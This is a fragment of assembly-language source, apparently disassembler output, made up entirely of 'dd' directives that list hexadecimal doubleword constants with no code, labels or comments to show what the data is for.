		dd 67306B16h, 393A1D1h,	0A35F0F54h, 0C91672A6h,	4A0C6108h
		dd 34622EBCh, 1491DC2Bh, 0BF07D858h, 57D5FC0Bh,	9051A07Bh
		dd 6998A273h, 1EB0A748h, 81937505h, 0C47CEC4Ah,	0D060CC26h
		dd 0F71D88h, 28831A81h,	9B2FE358h, 0EF7D3901h, 5D11AAFBh
		dd 86771C30h, 0EA55F122h, 0DAA9C631h, 0AF00E19Ch, 2F54AD66h
		dd 24302305h, 0B20C34Bh, 70821887h, 285A430Dh, 0B99F800h
		dd 564CD405h, 0BC8D015Dh, 0C3C6CA59h, 20B1FDC5h, 79004224h
		dd 83D16152h, 14E96CE8h, 982830C7h, 0B9EEEF81h,	0F34C3071h
		dd 40ACC084h, 83A445B0h, 0DB10D8B2h, 7E11BB84h,	9D1A02C5h
		dd 0A0AE33D7h, 1D8C7998h, 77D37h, 0DC2E0FD6h, 3EBD2D35h
		dd 3880E051h, 82818214h, 844062DEh, 52329F04h, 9EA30E20h
		dd 73F1C970h, 9DF89064h, 0EF8270B6h, 40332B77h,	30DA18B0h
		dd 2C9FC3Eh, 722AF2FBh,	0A7221C7Dh, 0A8694883h,	6E919B21h
		dd 91FD6117h, 0D81B55B8h, 0D4FE6DFFh, 0C52FC400h, 0E03A11F0h
		dd 6FC096Bh, 3448DAB6h,	39007938h, 0CF876DC3h, 0AA3AD7Ch
		dd 0B1904A9Ah, 1B7308E4h, 44C8A20Ah, 4F6D6A00h,	7C54E855h
		dd 0C6500CFh, 2BDC399h,	3C30EDF3h, 0C4CAD1FBh, 7C530575h
		dd 88CCEF2h, 2064B39Ch,	50720940h, 0F92674BBh, 470CA8EBh
		dd 29197814h, 9F9043F6h, 7B72C91Bh, 0D912CC46h,	58228DA7h
		dd 1BB4ABBEh, 10461F40h, 0A4DC0081h, 8FE97FAh, 86ECEF0Bh
		dd 6050044Fh, 92AFA431h, 2C09E239h, 1A008057h, 483228EBh
		dd 0A310B885h, 620908C9h, 7AB86092h, 2161D81Eh,	332730D9h
		dd 899122D3h, 0D15FC500h, 0F904BEA3h, 590701CFh, 6F378C60h
		dd 91D0FF1Dh, 0E4137F7Ah, 90912A30h, 0AD4E994h,	8070F9F7h
		dd 2B7043D7h, 1B088899h, 40C2448Fh, 6BEA04E9h, 0F5B67950h
		dd 79C4904Dh, 0B14C01FBh, 0D77710DEh, 4224DC8Dh, 918A1A2Dh
		dd 0BFD84F9Ch, 1FA700D1h, 0D2FC6764h, 0E43C5069h, 6F5EFB62h
		dd 2557D840h, 992BBA5Bh, 399A80ECh, 7BA1F51Fh, 8736183Ch
		dd 0EE7868E3h, 512B3741h, 0E5B5EC42h, 0D0D703E4h, 44C8BB05h
		dd 1138E1F6h, 467D0AE3h, 0DB08848Fh, 0A445649Eh, 0DD201E40h
		dd 0B4D9F030h, 4400A9E0h, 3920B072h, 82162D43h,	514098A6h
		dd 5DBC6B17h, 7FC3209h,	240427C4h, 30845548h, 125F211Dh
		dd 0A8422EFh, 0D66368A0h, 2F000694h, 0F459797Bh, 2E6AA286h
		dd 86CE3CDh, 510B8F13h,	0FED8103Ch, 8AF200A7h, 90A2FB75h
		dd 4D0003B8h, 53E6F9A1h, 3FEC9C5h, 0D78D3209h, 21F0431Ah
		dd 6B091C03h, 10A0CAA3h, 0C0B3DA68h, 903D0ED1h,	60046A5h
		dd 9EC1B4ECh, 2E1ED8h, 6307FC3Ah, 0E673566Bh, 1028EB5Ch
		dd 0C188D2B7h, 3A65850h, 867970CBh, 0C18055D5h,	0B010DC81h
		dd 0E312C55Bh, 71E80017h, 0B7FE42C7h, 5C3AA305h, 0C0A28F78h
		dd 1E700805h, 0E2DC24F4h, 32D40FF8h, 0AA69618Ch, 2D605F03h
		dd 54F358D9h, 1384DCC4h, 56BC88h, 0A7F078F1h, 251E932Fh
		dd 0D7130D00h, 6E9CA168h, 0B732F94h, 1406B0A0h,	7C003151h
		dd 469D7A45h, 16FE8B91h, 4872121Ah, 7F1E2BF0h, 0B4D05A10h
		dd 0D5E8884Ah, 1E5B2A3Fh, 0F101E6F6h, 27EA857Ch, 1C23B092h
		dd 0B6164ECCh, 3CE72D80h, 0E074AC6Ah, 0F42A9503h, 80C3F3AFh
		dd 30CA732Bh, 0E71832BEh, 700ACD7h, 0FCADA187h,	18E951E0h
		dd 212CBFD5h, 0D302E237h, 92F86376h, 0B2B84034h, 0EB14005Bh
		dd 359E6D06h, 7174C8ADh, 80534518h, 0B84F3B39h,	59C10389h
		dd 7C4004B0h, 2A54A110h, 0FAD8D7F1h, 25640DC0h,	67D149C6h
		dd 52B0031h, 4D3BBB3Eh,	2201D6F6h, 68C1089Eh, 0E12E7A6Ch
		dd 5101CF8Dh, 0C6BA39E7h, 484534BFh, 35495880h,	50D00274h
		dd 14B05E42h, 435A4CA4h, 805C969Ch, 30DD1C80h, 88196FD1h
		dd 0B81E3BC4h, 0DF408751h, 0EA8DC63h, 0BA524870h, 53571501h
		dd 0F10F8F44h, 0F1ADF0D9h, 3F0042E2h, 2E8EFC6Dh, 0EA44D168h
		dd 94200139h, 0EA2C4963h, 95608E2Bh, 67B6A042h,	0C3708A7h
		dd 3D3FB16Ah, 80FBC0C0h, 0CD6CFC9h, 0C78247h, 8FE83517h
		dd 9C7ACD18h, 0B006C402h, 82036BF3h, 965A1BF4h,	3ADF0BA4h
		dd 0B400B760h, 0E98020Dh, 342E4100h, 1EBD0607h,	79126054h
		dd 84E3FBD6h, 9300B0EEh, 9B51B6AEh, 58CD2C6Fh, 4714CFE8h
		dd 3E30844Eh, 0C7C21169h, 0E92C460Ch, 1BD92Dh, 0AC123EAEh
		dd 0CCAFB0F2h, 0FF806103h, 0C371105h, 6D7D6320h, 809D5C40h
		dd 0F513CD19h, 34041DDFh, 1EEC2A54h, 248BC52h, 4589201Bh
		dd 0A6FB9882h, 2992F911h, 5F280FEBh, 81423AD0h,	0C5FC31DEh
		dd 8809E0Ch, 0D0836A5Bh, 0CC092B8Ah, 1068AF15h,	88DDAD4Ch
		dd 946ABD16h, 30101819h, 35E158CCh, 0F359D303h,	0A8ED6B65h
		dd 14A8AFEEh, 0DC306710h, 6576E0C0h, 40009B57h,	43321209h
		dd 1F1FA09Dh, 89AF2D6Bh, 540029DBh, 5EEE1495h, 0A0168C2Ah
		dd 2563B8A0h, 0BEC2B603h, 86934D58h, 41802190h,	8CA94F18h
		dd 8739C01Eh, 1F82D833h, 0B0993A03h, 0F0E2687Fh, 0C6A91B5h
		dd 5B623539h, 314018B0h, 0DB6624F4h, 882D4648h,	63E69D01h
		dd 0DD241E98h, 0F61F0F9h, 59CA2081h, 80198CC1h,	0A2D22A31h
		dd 0F96A4CA9h, 18C09AC1h, 48DE0993h, 0AC023463h, 0A00E82E0h
		dd 2DAFD39Dh, 56CB13DCh, 731C3385h, 7802C692h, 86B89441h
		dd 0D042008Ch, 8930035Eh, 20E6EED1h, 0AFE9FD05h, 0C05F3550h
		dd 4B4702A2h, 45EBF2A5h, 0D03316E1h, 87135376h,	44206726h
		dd 793EE3E8h, 0B8CA00CDh, 1353017Eh, 5C509A96h,	6186B4B8h
		dd 55359134h, 0EF4180DAh, 0BA4C3E14h, 0C5F000Eh, 6B367AC7h
		dd 0B07B3AFEh, 165A4803h, 281A4468h, 44A8E7A0h,	154955E5h
		dd 1C1C3CBCh, 2180C15Dh, 87C33F9Bh, 0ECA141Eh, 3431D82Bh
		dd 9E2AC041h, 0C44099E1h, 90055586h, 4BAB00B1h,	0FAA939CFh
		dd 0A4098B0Bh, 945261F7h, 8CB48BD0h, 35202F32h,	50FCAE1Ah
		dd 44ACDC37h, 0E1F06A60h, 0F55AF1C3h, 6B47D8C6h, 20F2DFh
		dd 0CA421D0Fh, 0FA628EBCh, 0AC24FF03h, 9B4E1799h, 2AAEE073h
		dd 40A80071h, 1439C16Ch, 2C1CE26Fh, 0E4011015h,	35591A3Eh
		dd 0E35CA980h, 345A46F4h, 88434490h, 1B1BD922h,	0E131365Fh
		dd 10222C14h, 3B806304h, 6434C80Ch, 0EE140850h,	5DF13145h
		dd 0C418D1BEh, 7510F09Fh, 2241C180h, 0E805E066h, 611A39DBh
		dd 99D19088h, 2DA6001Ch, 0A73D6F46h, 0D718E102h, 423C45Dh
		dd 0CD48BA8h, 59DCAF6Ah
		dd 0BBBD0947h, 0E082408Dh, 2600376Fh, 138251h, 1418EBEAh
		dd 997C4354h, 80E8113Ch, 0E659CD3Fh, 54EA6612h,	86809069h
		dd 31F109E3h, 8073D111h, 0B2796B81h, 18974691h,	0F06CB45Ch
		dd 48E9F12Bh, 1CAE5B8Ch, 0C1C9EE00h, 0AFDC28EAh, 0D4544C80h
		dd 0ACBFC303h, 1109FDA0h, 84E4AA39h, 9C4C97ACh,	4486F8A0h
		dd 14A4CACBh, 41409D01h, 7C7DBB8h, 0C4808444h, 9B2D2EB6h
		dd 66E88070h, 0BB3E21Ah, 84E40702h, 0E17B8361h,	0F4D4AB3Ah
		dd 9956280Fh, 972820E8h, 6966D130h, 0FDD216h, 0BDF64E8Ah
		dd 0AF94DB86h, 0EE9EDA00h, 0B87BE7E0h, 98FE484Ch, 5D4589DCh
		dd 0BCA20880h, 990188BAh, 29CD470Ah, 4463D7B6h,	7E3D1A10h
		dd 0E65330DEh, 20BB00BBh, 4816690Eh, 4CF803Ch, 45343F98h
		dd 8A75548Bh, 0CF83B882h, 3E3BD460h, 0CCAAB009h, 0B140247h
		dd 951B0209h, 0C53A6044h, 18E4003Dh, 0B802E8EEh, 163114B0h
		dd 998AB0B5h, 0C8F410C4h, 0CD6740ECh, 0AA00A70Ah, 59CC9D52h
		dd 0C41BEBB8h, 88986A98h, 6C03F084h, 933AD7DEh,	66918038h
		dd 27030037h, 0E433B4FAh, 7D5C6D3Bh, 0E5B20325h, 726BD1EEh
		dd 0A7BE3F81h, 2FB4E800h, 2064CEAAh, 0BA6DF03Fh, 0B2104863h
		dd 748E455h, 540BA6BAh,	359AE0CEh, 5D3A4A44h, 1E25877Dh
		dd 0DE60EFD8h, 49585C95h, 17106883h, 355E8419h,	882C00CCh
		dd 0FF534E45h, 464303F4h, 1B8D5Dh, 66CE6021h, 0AC76A4E5h
		dd 92BC7D00h, 0F030E168h, 5BDA092Bh, 1449D245h,	58DFFCA3h
		dd 3CE3CD3Fh, 10CCA431h, 1161A71Ch, 0C0504C57h,	0E3283FCFh
		dd 19060026h, 5150C25Ah, 3458FB1Dh, 5CA60294h, 2E39631Ah
		dd 3D02AFFh, 3710F85Fh,	0B100188Ch, 3DC7B57h, 5D203Fh
		dd 0F0C03A64h, 108DCACFh, 0FDE99A62h, 0E05CC453h, 0E6C1019Dh
		dd 0FBD75B4Ch, 44F2DBADh, 0A7C3B0E0h, 0BA160985h, 5B40EC18h
		dd 0F761B878h, 0AEDD9D88h, 940828h, 68B91508h, 0A80098ACh
		dd 5B19EB07h, 5929C93Bh, 32C89484h, 0AC352055h,	6612B7CFh
		dd 2430FD48h, 7802860Eh, 3A42909Dh, 0C400A97Ch,	46CD61B0h
		dd 0EE7C6585h, 19C50409h, 0F980248h, 0D8622703h, 0DC0044ACh
		dd 0B2A05A44h, 457C03D6h, 47C2305Bh, 0F0FFE8A0h, 24626AEAh
		dd 25196438h, 0C34C1C4h, 212F1236h, 0E45629D8h,	6400C1DFh
		dd 0BB31F59Eh, 0B9DD6B60h, 6310BEACh, 91DC2199h, 265450E9h
		dd 58468Ah, 5836B49Dh, 0A525DB88h, 638A500Eh, 43026726h
		dd 40F99922h, 90096708h, 53DEF0D8h, 84AC4A9h, 29813088h
		dd 7BC402FDh, 585D7D0h,	8CD4BBD1h, 0BCC40811h, 52D3562h
		dd 0BBF446A0h, 28F96011h, 0FB6080CCh, 7C867A45h, 0BF231826h
		dd 0D7F96927h, 0B9738D00h, 0BA52D78h, 0C6E657h,	64BF07FEh
		dd 4BD4875Fh, 5900EEF6h, 6B435A4Fh, 0FEB3485h, 37F56807h
		dd 90D97124h, 22E92CCCh, 94591B88h, 69D18AB0h, 0FAE08094h
		dd 0BE323199h, 83B97600h, 0F002946Eh, 80ACB2A7h, 0B9967BE4h
		dd 2331118h, 0EE56EFCAh, 65C4CB6Bh, 215B311Ch, 806DD1F0h
		dd 0D205BF69h, 39DE0FCAh, 21CA6A8Bh, 4262C6E0h,	0FC27D990h
		dd 6D80FA95h, 3C44F1DDh, 429CA917h, 53F00441h, 72308869h
		dd 65C099C1h, 4180D898h, 84BDB347h, 0FB243B8Ch,	438F680Ah
		dd 0CA73C0E2h, 3BDF833Ch, 37285A29h, 446500FCh,	0C1C44766h
		dd 130FBAACh, 0C51B007h, 1FD410B9h, 404AF767h, 2590A2A1h
		dd 0B9D32C42h, 10D4700Bh, 13ED11F8h, 48A1BB74h,	4C645364h
		dd 0DBB7F441h, 0D8C9A6F7h, 6A416298h, 0A074B9AAh, 40632CF4h
		dd 0FA9B0FF0h, 45B91451h, 0F961A18h, 1270E459h,	0F61669Ah
		dd 0D60569Eh, 8AFA38B5h, 31390E0Eh, 3AE504C8h, 34075081h
		dd 0ABE09900h, 1239E788h, 8EFC88Ah, 0B86213E8h,	145C0094h
		dd 60FFE72h, 8C161396h,	0B159171h, 8C5C8F52h, 289E8C90h
		dd 3E0066FEh, 99532FE0h, 541BD15h, 0EABEDD7h, 32E8874Bh
		dd 0F1108A7h, 8081D111h, 9CCD5459h, 0C7908h, 0FE913E90h
		dd 40230D30h, 0F6EFDE05h, 942C3A57h, 0AA588448h, 0E0EF89C8h
		dd 812B37A0h, 9087396h,	0A1E66641h, 39DBF9B4h, 0BD004C23h
		dd 0D0E37CFFh, 5E13E46Dh, 44ACEh, 8B742F4h, 60F8A024h
		dd 8681A18h, 6F343900h,	0FFB85AA7h, 4444B2FBh, 36006E21h
		dd 0FE04289h, 1A7E9DFh,	0C9FA552Ah, 0F0BF4C8Dh,	13136973h
		dd 5431A4E3h, 2DF9CBA2h, 20C3D710h, 1B686C00h, 0C265DB70h
		dd 0FBEC13D9h, 0CCA008AAh, 48790E66h, 7F3E0441h, 0DF4F9DC0h
		dd 44BF5072h, 374601E8h, 9821258Fh, 7F6AE0D5h, 185D8C26h
		dd 92085025h, 0FC144D18h, 10195484h, 0CF844C90h, 3835B2DCh
		dd 68BD80C1h, 88981315h, 538CAC2Ch, 8453B8E8h, 84482C51h
		dd 90418834h, 352FA403h, 0A0A6AB8Ah, 64C8AFEEh,	30B0911Ah
		dd 7938E5E2h, 192B0651h, 81E37114h, 2184F048h, 967E8827h
		dd 68E92B09h, 659CA8Ch,	0E3814EEh, 0B020685Ah, 6AEB071Ch
		dd 0B06E15DFh, 52C1AD44h, 49583500h, 6CED6BAh, 0AC1E0E59h
		dd 2686FCB9h, 68381803h, 6C248073h, 37143AC1h, 0A1E80721h
		dd 35E3F93Eh, 9738C240h, 893D3218h, 0E87009B3h,	44484EE8h
		dd 40E2B448h, 0D387B03Dh, 32001A4h, 17E65DCCh, 3C94226Fh
		dd 358F185Eh, 1AABFE1h,	0CA30A56h, 0FC16A60Dh, 1252F12Bh
		dd 0F5670780h, 18454CDFh, 0FED20C90h, 30F49837h, 0E291F8Fh
		dd 0F500BE1Eh, 2E9EBC06h, 0A780786h, 0A96FC776h, 29D12D6h
		dd 2B097328h, 0ACB71A24h, 7BEED900h, 5C98B57Eh,	254EB700h
		dd 0CC8FC5DDh, 826090BBh, 1C7459F2h, 2650A2ECh,	0C262F9Ch
		dd 0C0E5CC11h, 915C488h, 815E9910h, 7A4AF500h, 0E105B013h
		dd 8F687C45h, 0F75A51C1h, 0F3D7E430h, 484C2D02h, 56989961h
		dd 9441E56Eh, 1B1134ECh, 0D24C285Fh, 16CD1408h,	49D020B9h
		dd 0F003CF13h, 7DD3BA7Bh, 92258803h, 0A7831002h, 79C730D2h
		dd 0A111631Bh, 4508F274h, 10233781h, 0C0302822h, 0F4B53129h
		dd 0BFB400C9h, 0EBEE17B9h, 0C9FD9271h, 79BCDC1Ah, 0AF53DB08h
		dd 0BD1709CFh, 961A2C18h, 0EAA258A3h, 555834D2h, 935C8060h
		dd 709B608Ch, 101800FDh, 0A14BA20Eh, 0AD736CD5h, 9947CC00h
		dd 3192FA23h, 97F53E62h, 0BA290473h, 845B7742h,	57A0E4ECh
		dd 0B85C58h, 431455C8h,	534248Ah, 9AB7EECCh, 7BC00B2Ch
		dd 0EB183466h, 7991D8Fh, 11E500BCh, 7A01AC57h, 8EB8514Ah
		dd 2D63131Fh, 68BFCC89h, 123CF478h, 2E8BD89h, 206C6382h
		dd 2DF59C64h, 1422B4h, 16791C1Dh, 71055EC1h, 1A48E500h
		dd 0F3AE34F2h, 0C863F670h, 0F4801730h, 0A51F43C1h, 0BFFD01FAh
		dd 0AACF908Bh, 28F282B0h, 4E893EB9h, 0B5570678h, 90B43130h
		dd 101F6821h, 801688C6h, 0E0DC1E13h, 0D8001BFBh, 7F933FACh
		dd 15A59231h, 0A8DB5567h, 18269100h, 0DACD0DFAh, 54F79B00h
		dd 0B894879Fh, 4FB5045Eh, 178C3Dh, 0C3984395h, 0BE7E00E6h
		dd 0B601F510h, 1098CED4h, 45343B0Bh, 4093B9h, 0BF2BA714h
		dd 0D90A318Ah, 6BE52500h, 6E18201h, 0CFD177Eh, 0E3E80448h
		dd 297D2268h, 1A83FC98h, 0EB8F4500h, 0F7601232h, 0F6C60027h
		dd 0BBB1CF63h, 70F1412Ah, 5F50A9F0h, 64BECAB4h,	56C84B40h
		dd 455500C6h, 3DE0EF24h, 5F484682h, 0D01B10BCh,	20BB1712h
		dd 50DDA06Ch, 0E9088300h, 0DE9428B0h, 3F390F02h, 59A1FBE5h
		dd 0EF5D0C7Fh, 23B94EA8h, 27516A00h, 6440BD9Ch,	571A00DAh
		dd 3EDD56A9h, 0A52C4F31h
		dd 6C008975h, 0DBA6B8BFh, 3FED095Fh, 7002E52Ch,	0C024D9ACh
		dd 7B96B4B4h, 3E9042Eh,	0A817406Eh, 5CC89254h, 0AAE25CCFh
		dd 123BA100h, 832B6433h, 0B9470A05h, 10F48E8Fh,	642DF144h
		dd 7E54D200h, 0DB7AE3A0h, 8BC27001h, 37F9AE83h,	202411F5h
		dd 0DFE500D2h, 15E7D89h, 17077E1Fh, 0F9B8AAE4h,	0A078F0E0h
		dd 0FF25300Ch, 18E3B588h, 59453B02h, 691A0F88h,	2462AFACh
		dd 0E3B1EB05h, 0CA50A0B3h, 0A1FC1504h, 0B888641Ah, 1A475B9h
		dd 0CC07C13Ch, 888D7D66h, 2F949620h, 16BD2C90h,	0EFCCD01h
		dd 0BFEF44FDh, 3AF16EF1h, 8558DCh, 76F01EE3h, 6C758469h
		dd 0C77F1372h, 4B015500h, 0E7DB38A8h, 2C3C00F3h, 9085B9EEh
		dd 75CA43Dh, 0E45DC3F4h, 0BDC3B998h, 1772AFC8h,	20AE6583h
		dd 96BB16E8h, 0CC3591C0h, 0C78B04Ch, 70F7680Eh,	0AE0E9C19h
		dd 0EC37BBh, 0F822FF03h, 142C002Dh, 0AC295973h,	9AD3E13Dh
		dd 9F3C5408h, 386885C5h, 0BB50D12Ch, 0E6A0107Dh, 0F32B12E9h
		dd 33E8C807h, 2EEEE18Bh, 47CA1980h, 0E653C9D2h,	3044BCB0h
		dd 0DB7E1C08h, 8059872Fh, 4CC0C95Fh, 0D81A66E2h, 7238E516h
		dd 0EDCC0018h, 126580E9h, 0E2EA2D5Fh, 28194101h, 61685C72h
		dd 953C2870h, 44239838h, 98001870h, 0C58392E8h,	17803B3h
		dd 27604872h, 6815CCEEh, 0B49D83B0h, 5B7493ACh,	0B0102750h
		dd 0C549819Bh, 0B8B24400h, 0CC3C085h, 0F8700E8h, 47307F3Ch
		dd 5B0714C6h, 5E9A5CCDh, 42DF5780h, 0C2656162h,	8575AE15h
		dd 8B26A51h, 0AE00F48Ah, 8EC16674h, 0D80178E1h,	11550A01h
		dd 56FCB968h, 0C38001Eh, 19D53008h, 849E1A63h, 0D667D340h
		dd 749F5CABh, 9009C82Dh, 82007C44h, 59EA3B3Eh, 72BF5Ah
		dd 50645176h, 0A34AA709h, 0A094A102h, 820EB47Eh, 90BFCDC4h
		dd 8BC8E8h, 0C9104174h,	152EC76Bh, 0CD10A295h, 2A606051h
		dd 1916F8D3h, 183BE5C9h, 37872BFh, 78B22576h, 0A8628B4Bh
		dd 0A6963409h, 8248B0B4h, 3C8F154h, 170361A8h, 0A274F390h
		dd 5BF0614h, 7F842D0h, 0C587EBC1h, 0C0097C95h, 0DFB8E8D2h
		dd 7092003Fh, 7679E950h, 4D1D56F0h, 46009FA8h, 4E54F118h
		dd 7DBD04BAh, 853142E5h, 0CDF90054h, 9A76E367h,	0F830072Ch
		dd 0B002DC11h, 335746A4h, 3820A850h, 0BD47002Ch, 0FC1671B1h
		dd 4605CC87h, 5CB437C1h, 1440701Dh, 0B3922157h,	5A480016h
		dd 0D525ADA0h, 9E2FB165h, 6A38203Bh, 5C67EE6Bh,	0B805463Eh
		dd 0E40AA7DBh, 0C755B9A4h, 0A92860ECh, 0CDB3431Dh, 0E08682C0h
		dd 753865A4h, 34591F69h, 0D6074E7Dh, 0DA210Ah, 3EECFEDFh
		dd 0EB04C919h, 0D24C01B4h, 2988F4h, 82B80CDEh, 3493223Fh
		dd 0D4AD8112h, 3C98027h, 0E2BE25E2h, 8B466071h,	37A700B7h
		dd 510F67E3h, 0A132843h, 0C0129606h, 1EE4588Ch,	49FD54C3h
		dd 848F32Eh, 0AF013541h, 1236615Bh, 80DEDC9Dh, 0BA281093h
		dd 0FF3B03D7h, 0B8AC25B5h, 476348E8h, 0E4AD3A02h, 5A88B9EFh
		dd 0DBB50974h, 2C90DC18h, 0E5989F15h, 19EEAD00h, 0BBD2AC13h
		dd 0A1CD5E80h, 0CA14000Fh, 0BCB06256h, 213ADE20h, 9882B816h
		dd 0E0934584h, 7F95C56Ch, 8330945Eh, 6F3C4F5Ch,	0CF7614E0h
		dd 0A8696300h, 55DE7D25h, 0FBB0047Bh, 0BC21E8CEh, 3122D8h
		dd 33FF7948h, 930D52D4h, 0D045EF00h, 0C760F5A9h, 0E4B14C15h
		dd 91E52784h, 2A681A48h, 6A697020h, 74B64816h, 18549C82h
		dd 7211B459h, 7AE1050h,	61CBEF68h, 306149B8h, 0B87370h
		dd 0D50F1217h, 1D94B2h,	57E6B6E2h, 9A8DBFF2h, 1A90289Ch
		dd 0E4B91584h, 4F00147Ch, 35B7E238h, 896DD248h,	9173FCD1h
		dd 33DBF000h, 0EAFDFBAEh, 1B4B121h, 0E7E5CCB9h,	0DD583034h
		dd 47E18113h, 20646845h, 0A20F9CB7h, 0F040AF85h, 0D4EEA4D2h
		dd 55757F78h, 8E624F01h, 0CB92B0Eh, 24C03984h, 683C8885h
		dd 0E836F90Bh, 6C9C8154h, 840D160h, 415CD3Dh, 46E28784h
		dd 0BFB8815Ah, 2BE18339h, 804531F1h, 0C0C9F2EBh, 0F544E308h
		dd 5F018179h, 53EA038Ah, 18B8ED8Ch, 187B907Fh, 39086E0Fh
		dd 0B400D0DFh, 6570475h, 0C34D6FFAh, 0EE8B5349h, 454B3901h
		dd 0E418F92Eh, 0C0F1E9E0h, 545CA019h, 6F009B14h, 0F60C88D2h
		dd 60D4604Ah, 58EB20EDh, 90A02B10h, 2E71B38Ah, 0A189A60Bh
		dd 0F192016Dh, 5C43CAF2h, 0B8A5D8F8h, 872004Fh,	0B7CC0C6h
		dd 143C2202h, 8E828D5h,	14CD6C28h, 41062E31h, 23E0FAD8h
		dd 4C6D377Fh, 2BC5C0E1h, 50701C0Fh, 510CF002h, 0E0E86C24h
		dd 1FE3F619h, 70D45949h, 630510B1h, 80FEF73Ch, 33A3C290h
		dd 0DCBCBBh, 12B1EDC6h,	0B21447CBh, 8BF9C28h, 0A4E1EC05h
		dd 8C40FCE9h, 560F6E32h, 10DD177Eh, 2D730B5Fh, 13C0C88Eh
		dd 5488DE2Ch, 0B0F98129h, 0F5C64A07h, 86C2D7A7h, 0CD4C20ECh
		dd 0C8D1FD80h, 0C6F0074h, 0FA19B6BBh, 9AE20170h, 0E94AFC7Fh
		dd 27398EFBh, 0DCC64182h, 720A95Bh, 0C39AF81Eh,	0BFFF4BF4h
		dd 0A5F9FAB8h, 7EEB851Eh, 899B45C0h, 356DEAh, 0C808208Bh
		dd 0C4F2F0C3h, 0E9790C63h, 156100F4h, 0AED91937h, 9F00C39Ah
		dd 57E6917h, 0E439E9FDh, 3329C0FAh, 0AE7BECF5h,	480C1F00h
		dd 0C576C4AAh, 0CDF704E1h, 910B6D84h, 85A6A3Ch,	0D464A08Eh
		dd 80CCABEEh, 5F2695h, 0E8ED7E0Bh, 77FBB664h, 563C3CA8h
		dd 0C6CA7406h, 1841F0C5h, 5949D26Ch, 0F0E33CBh,	823BCE40h
		dd 8415CFF3h, 9F40FD6Ch, 1A078A21h, 2A133500h, 29FF249Bh
		dd 0D8A6014Fh, 0AB4C5FA4h, 0CDD04179h, 0C7488803h, 6C98BB0Bh
		dd 0C5F2B1EAh, 8D19FF63h, 17DAA079h, 55CC31F1h,	7059B891h
		dd 37AD43Dh, 14E04900h,	677C4C8Eh, 3054E656h, 0FA99F382h
		dd 39C3466Bh, 0D8BDFF40h, 478B9ABh, 4D9EF7A7h, 0E0DC89CDh
		dd 2E0ED1DFh, 13A10Eh, 0FF7D84D0h, 0E0060256h, 0EB22CE4Ch
		dd 536C608Eh, 8D3D8439h, 37F980E4h, 7CA0D908h, 740E0973h
		dd 0E813D5FAh, 0C4FE7EA1h, 507A1FCh, 35ADA90Ah,	890C8009h
		dd 29A50928h, 584710Fh,	0C1671B64h, 22E8B7DDh, 63CE0090h
		dd 2180E081h, 0F45438AAh, 0D62B4380h, 4DFB2FE6h, 38CA6F04h
		dd 28C0F5F0h, 0C34767FAh, 9C599BA9h, 7455A6D0h,	0C4C6C914h
		dd 64D1C8F8h, 0FCE85B2Bh, 6579B080h, 9C1839DDh,	0F4CCA628h
		dd 105389DBh, 0A7016Eh,	87DF1AB1h, 0BF59D44Bh, 58016A72h
		dd 603AB5EAh, 0E18FE9D3h, 6EC0F4FEh, 3D5F39F9h,	0D900E490h
		dd 619DBA69h, 71653Bh, 0B14B1624h, 33A454Fh, 3F030AE0h
		dd 0E6D2C154h, 0CF1788C5h, 0EC120144h, 750FA3D5h, 0D86180E5h
		dd 37AF8998h, 545B4C9Eh, 51EECCC0h, 0A0715D1Dh,	24674100h
		dd 0D20EFA79h, 0C4074C90h, 0EB780F08h, 18CFF28Bh, 19A16F10h
		dd 0C8FDFFCAh, 3486E10Fh, 2E30DB98h, 344A290Ah,	7A2A01B4h
		dd 0AB7CE5F2h, 64CC415Ch, 655110EFh, 43D45818h,	71857004h
		dd 0FA3481E4h, 2474226Dh, 0BC40902Dh, 38DF84h, 62F10C11h
		dd 7FEDF26Ah, 69FBC10Ah, 131118A6h, 51BD700h, 0B64CB388h
		dd 807B9600h, 25DF092h,	0FA86093Dh, 700232F5h, 4B04E805h
		dd 2003EC82h, 2111A366h, 0D6A20F0Fh, 697082A6h,	0DC3CC045h
		dd 31841BCEh, 4FEAB1F2h, 6B100511h, 8709175Eh, 23B6D5CAh
		dd 52CCC0h, 0C2ABAA29h,	0C673A905h, 3F209300h, 67E2713Ah
		dd 0A81E50D6h, 68F00074h, 496F3DF5h, 0A8746E24h, 0E5449090h
		dd 0BA971FDFh, 54BEC074h, 99BCA66Ch, 468E720Eh,	0CEF343D0h
		dd 38916407h, 0A64343E6h
		dd 70019053h, 2F350B9Ch, 0B5D6C2C6h, 0D76C5E00h, 7C5932B3h
		dd 0B1F20017h, 0F593D585h, 1B06D0BBh, 409650Fh,	44F87E59h
		dd 0FF00DDF1h, 99D4583Bh, 0E83AC06Ah, 0FE400BA0h, 2490BE9Ah
		dd 5490D3ECh, 2AF56C22h, 8C51CCh, 0C6ECA6C2h, 0E92E3347h
		dd 645D290Ah, 5108B860h, 5B7288E8h, 0D5F5A483h,	0B44900F2h
		dd 949ACAE7h, 6200A6C9h, 16A08F86h, 14613496h, 1C666CFAh
		dd 8DDF8107h, 0CD1AD1D1h, 0B7198059h, 0C0BBFF16h, 904B0F0Ch
		dd 89804469h, 0F4920E2Fh, 96BCDD1Ch, 4D249E2Ah,	0CC120879h
		dd 0C8360020h, 413B009Fh, 0A41EE1D2h, 0AB09E5D8h, 0DEC84CAh
		dd 0C803297Ch, 0DC42EC70h, 0B06040AFh, 0A0B91045h, 0CE40408h
		dd 6929F7D4h, 0F1680100h, 57B06063h, 7B5A0167h,	0DCC99A94h
		dd 0E6DDD8FFh, 256D3C05h, 0B846EF05h, 4841E818h, 4717246Ah
		dd 0FA64056Dh, 87C1669h, 2280F940h, 89435ECh, 770AFC37h
		dd 576A05BFh, 82AF45B9h, 78456E28h, 403DCD80h, 13EA0C4Bh
		dd 210679h, 6C66A410h, 0C02C0BADh, 5009644Dh, 0FC308020h
		dd 695E6975h, 0A49B2904h, 0BA50E0B8h, 7F262F00h, 41B984C6h
		dd 348D00A8h, 454856DFh, 7112893Eh, 0C8405329h,	3B0F0BD0h
		dd 6DE608CEh, 0C78149ABh, 816AF0C6h, 2EE0F88Bh,	0F9AC4890h
		dd 0AA55E00h, 37AA0239h, 8B900A45h, 52CA1FFh, 89B544D8h
		dd 0C8102080h, 60E91644h, 4549B1FEh, 0AE00250Ah, 0EAC8B628h
		dd 31C58Bh, 9534F8BAh, 8E54C2E7h, 0E0008091h, 0CD899645h
		dd 0A4064865h, 0E8D58380h, 34B90BCBh, 5428D4A6h, 619BEB05h
		dd 58C899EAh, 6C5000A4h, 6596F8D4h, 0E890A358h,	69473005h
		dd 50803F67h, 80F4D671h, 34B9D2F2h, 0CD2143BEh,	0AABC3B3Ah
